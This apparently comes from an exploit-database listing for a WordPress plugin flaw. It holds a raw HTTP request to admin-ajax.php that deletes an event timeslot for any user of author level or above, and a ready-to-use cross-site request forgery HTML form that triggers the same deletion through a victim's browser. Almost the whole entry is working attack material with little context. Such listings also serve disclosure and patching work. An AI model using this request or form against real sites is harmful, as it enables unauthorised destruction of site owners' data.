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## https://sploitus.com/exploit?id=WPEX-ID:7AEC4EF4-DB3B-41FB-9177-88CE9D37BCA6
The id is the ID of the timesplot to delete

POST /wp-admin/admin-ajax.php HTTP/1.1
Accept: application/json, text/javascript, */*; q=0.01
Accept-Language: en-GB,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
Content-Length: 58
Connection: close
Cookie: [author+]

action=route_url&controller=events&mptt_action=delete&id=1

Via CSRF:
<html>
  <body>
    <form action="https://example.com/wp-admin/admin-ajax.php" method="POST">
      <input type="hidden" name="action" value="route_url" />
      <input type="hidden" name="controller" value="events" />
      <input type="hidden" name="mptt_action" value="delete" />
      <input type="hidden" name="id" value="1" />
      <input type="submit" value="Submit request" />
    </form>
  </body>
</html>